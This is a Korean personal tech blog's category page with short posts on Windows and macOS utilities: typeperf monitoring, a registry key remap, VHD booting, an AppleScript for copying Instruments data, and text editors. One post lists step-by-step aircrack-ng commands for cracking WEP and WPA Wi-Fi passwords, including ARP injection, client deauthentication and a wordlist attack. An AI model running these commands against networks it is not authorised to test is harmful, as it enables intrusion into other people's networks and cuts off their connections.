"기술"에 해당하는 글들
페이지:1234567...19»

macOS에서 Instruments 성능 측정 결과 csv로 저장하기

2019-11-22   //   alexken작성   //   기술  //  No Comments

macOS에서 XCode에 포함된 Instruments 도구로 macOS 시스템, macOS용 애플리케이션 또는 iOS용 모바일앱의 자원사용률을 측정하면, 과거에는 csv로 내보내기할 수가 있었는데, 언제부터인가(한 1~2년전) 빼버렸는지 찾을 수가 없었다.

하지만 라인단위로 선택해서 붙여넣기는 여전히 가능해서,
“Instruments의 한줄 선택 –> Microsoft Code 텍스트 에디터로 복사”하는
AppleScript를 작성해서 사용하고 있다.

더 멋진 방법이 있는지 모르겠지만 난 이렇게 사용하고 있다. 끝.

(* Commant  *)
-- https://eastmanreference.com/complete-list-of-applescript-key-codes

display dialog "1. Open 'Instruments' and click the 'Active Monitor' area
2. Open the 'Microsoft Code'"


-- 복사할 라인수 입력
set x to the text returned of (display dialog "Enter line # to be copied" default answer "10")

-- 첫번째 줄로 이동 (option + ↑)
tell application "Instruments" to activate
tell application "System Events"
  keystroke (ASCII character 30) using option down
end tell

-- 새문서 만들기 (ctrl + n)
tell application "Visual Studio Code" to activate
tell application "System Events"
  keystroke "n" using command down
end tell

repeat x times
 
  tell application "Instruments" to activate
  delay 0.2
  tell application "System Events"
    -- ctrl + c
    keystroke "c" using command down
    -- 한줄 아래로(↓)
    keystroke (ASCII character 31)
  end tell
 
  tell application "Visual Studio Code" to activate
  delay 0.2
  tell application "System Events"
    -- ctrl + v
    keystroke "v" using command down
  end tell
end repeat

quit

Windows cmd에서 자원사용률 측정

2019-11-22   //   alexken작성   //   기술  //  No Comments

Windows 에서 시스템 또는 특정 프로세스의 자원사용률(CPU, Memory…)을 측정할 때,
성능 모니터(perfmon.msc)를 주로 사용하는데, 동일한 작업을 cmd에서 수행하는 방법을 정리한 글이다.

GUI 도구인 perfmon.msc 대신 CUI 명령줄 도구인 typeperf가 동일한 기능을 수행한다.

typeperf < counter [counter ...] > [options]
typeperf -cf < filename > [options]
typeperf -q [object] [options]
typeperf -qx [object] [options]

사용 가능한 카운터 목록을 조회하려면

C:\> typeperf -qx > count.txt

하면되지만 1.8MB짜리 40만개나 되는 목록을 얻게된다.

그냥

C:\>typeperf -sc 60 -si 1 "\Processor(_Total)\% Processor Time" "\Memory\Available MBytes" -o SC1.csv

60초 동안 1초 간격으로 시스템 전체의 CPU 사용률과 가용 메모리량을 SC1.csv에 저장함

Windows에서 SMB 접속이 안될때

2019-06-12   //   alexken작성   //   기술  //  No Comments

1. gpedit.msc 실행
2. [로컬 컴퓨터 정책 > 관리 템플릿 > 네트워크 > Lanman 워크스테이션] 선택
2. 보안되지 않은 게스트 로그온 사용 –> 사용

Since Windows 10, Windows Server 2016

Realforce 101 키보드를 위한 키 리매핑(레지스트리)

2019-04-04   //   alexken작성   //   기술  //  No Comments

메인 키보드로 10년전 산 Realforce 101을 사용하고 있다.
즉 한영키와 Windows 키가 없다.

한영 전환은 shift-space로 하기 때문에 내겐 문제되지 않지만,
Caps Lock → Ctrl로
Ctrl → Windows 키로 동작하게 할 필요가 있다.

램상주하는 키 리매핑 프로그램도 있는거 같지만,
그냥 레지스트리를 편집해서 쓰는게 별도의 프로그램도 필요없고, 깔끔하다.

그래서 늘 아래와 같이 reg파일을 만들어 적용해서 사용하고,
2006년 작성한 CapsLock을 Ctrl로…도 이렇게 만들어진 것이다.

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Keyboard Layout]
"Scancode Map"=hex:00,00,00,00,00,00,00,00,03,00,00,00,1d,00,3a,00,e0,5b,1d,00,00,00,00,00

00,00,00,00, // 버전 (항상 0)
00,00,00,00, // 헤더 플래그 (항상 0)
03,00,00,00, // 키 리매핑 2개 + NULL 1개 = 총 3개
1d,00,3a,00, // L Ctrl(1d,00) ← CapsLock(3a,00)
e0,5b,1d,00, // L Win(e0,5b) ← L Ctrl(1d,00)
00,00,00,00 // NULL (종결자)

더 보기 >>

주요정보통신기반시설 취약점 분석·평가 기준

2019-03-19   //   alexken작성   //   기술  //  No Comments

[주요정보통신기반시설 취약점 분석·평가 기준]
[시행 2013. 8. 8.] [미래창조과학부고시 제2013-37호, 2013. 8. 8., 일부개정]

나중에 다시 찾을 일 있을거 같아 여기에 스크랩




무선 공유기 패스워드 …

2018-11-13   //   alexken작성   //   기술  //  No Comments

무슨 내용인지 하나로 모르지만 일단 정리…(타이핑은 시골집 고양이가 수행함)

Kali Linux에서 진행

AP MAC 90:9F:33:XX:XX:XX
Client MAC 64:6E:69:XX:XX:XX

기본 도구들

  • iwconfig
  • iw phy0 info
  • iwlist channel

WEP의 경우

1. 모니터 모드 시작 & AP 덤프

  airmon-ng start wlan0
  airodump-ng --channel 8 --bssid 90:9F:33:XX:XX:XX --write wepcrack wlan0mon

2. 데이터를 생성 하기 위해 인증 시도

  aireplay-ng -1 5000 -e SSID -a 90:9F:33:XX:XX:XX -h 64:6E:69:XX:XX:XX wlan0mon

3. ARP Injection으로 Data 강제 유발

  aireplay-ng -3 -b 90:9F:33:XX:XX:XX -h 64:6E:69:XX:XX:XX wlan0mon

4. IVS 값을 어느정도 수집하게 되면 크*

  aircrack-ng wepcrack.cap

WPA의 경우

1. 모니터 모드 시작 & AP 덤프

  airmon-ng start wlan0
  airodump-ng --channel 8 --bssid 90:9F:33:XX:XX:XX --write wepcrack wlan0mon

2. 옆에 놈 연결을 끊어서 EAPOL 노출

  aireplay-ng -0 10 -a 90:9F:33:XX:XX:XX -c 64:6E:69:XX:XX:XX wlan0mon

3. CAP 파일에서 사전공격으로 패스워드 추출

  aircrack-ng -b 90:9F:33:XX:XX:XX -w /usr/share/wordlists/rockyou.txt wifi-01.cap

블로그 업데이트

2018-06-25   //   alexken작성   //   기술  //  No Comments

1년에 글하나 쓸까 말까 한 블로그이지만,
오늘 대대적으로 업데이트를 단행하였음.

시작은 CodeColorer란 플러그인이 업데이트 되면서 PHP 5.6이상을 요구해서 이를 수정하기 위함이였다.

결국 Cafe24에서 DB 백업 받고, File 백업 받고, PHP 7.0을 지원하는 서버로 이전후, 새로 다 복원하였다.
겉보기엔 변화 하나 없지만, 실은 새로 다 설치한것임.

뭐 그냥 그랬다고..

PS. 깨작거리다 만거, 과거 글의 링크 깨진거 이제 부터 천천히 손봐야 겠다.

Windows VHD 관련 정리

2016-12-28   //   alexken작성   //   기술  //  No Comments

역시나 나를 위해서 정리

1. VHD 파일 생성
  1.1. 관리-디스크관리자 (Windows 7, 10)
  1.2. cmd에서 vhd 파일 만들기
    깡통일 경우(파티션 -> 포맷)
    diskpart
    create vdisk file="c:\win7.vhd" maximum=100000 type=expandable

2. VHD 파일 마운트
  2.1. vhd 파일 더블클릭 (Windows 10)
  2.2. cmd에서 vhd 파일 마운트 (Windows 7, 10)
    diskpart
    select vdisk file="c:\win7.vhd"
    attach vdisk
 
3. VHD에 운영체제 설치
  3.1. cmd 실행 ( shift + F10 )
  3.2. VHD 파일 생성
  3.3. VHD 파일 마운트

4. VHD에 설치된 운영체제로 부팅
  4.1. VHD 파일 마운트 (마운트된 Driver Lettter가 X인 경우)
  4.2. bcdboot로 부트로더에 등록
    c:\windows\system32\bcdboot.exe X:\windows

5. VHD 부팅 화면 편집
  5.1 부트 로더 등록 상황 확인
    bcdedit /enum
  5.2 부팅 파티션 설명 수정
    bcdedit /set {GUID} description "My Windows 7"

* 관리자 권한 cmd에서 작업할 것.

macOS 용 텍스트 편집기 – Microsoft Visual Studio Code로 정착

2016-11-16   //   alexken작성   //   기술  //  No Comments

나의 첫 매킨토시 노트북은 2004년 8월 20일 구입한 OSX 10.3 Panther가 설치된 PowerBook G4 12인치 였다.

그간 함께했던 텍스트 에디터만 생각해보면

Regula Expression을 검색에 사용할 수 있다는 막강한 점에 이끌려, 초창기엔 TextForge에 정착해서 한동안 사용하였다.

이때부터 Regular Expression 검색은 반드시 필요한 기능이었다.
심지어 Microsoft Windows에서도 Notepad++을 쓰는 이유이기도 하다.

이후 TextForge 업데이트가 끊기고, Smultron을 꽤나 오랬동안 사용했다.
유료화 및 버전업되고나서 이상하게 변해버려 Fraise로 갔다가 Smultron을 구입하고도 결국 사용하지 않게 되었다.

이때부터 macOS용 손에 맞는 텍스트 에디터를 찾기 시작했는데,
한동안, Atom, TextWrangler를 기웃거리다,
최근 Microsoft의 Visual Studio Code를 알게 되었고, 내 요구사항을 거의 만족해서 앞으로 정착하려고 한다.

내가 텍스트 에디터에 원하는 요구사항은

  1. 가벼울것
  2. Emacs 단축키 사용에 문제 없을 것(Ctrl + [A|E|B|F|N|P|K])
  3. Syntax Highlight 지원 할 것
  4. Regular Expression 검색 지원 할 것
  5. 한글 사용에 문제가 없을 것
  6. 문자 인코등을 표시하고 설정 가능할 것
  7. 줄 끝 문자를 표시하고 설정 가능할 것

정도이다.

페이지:1234567...19»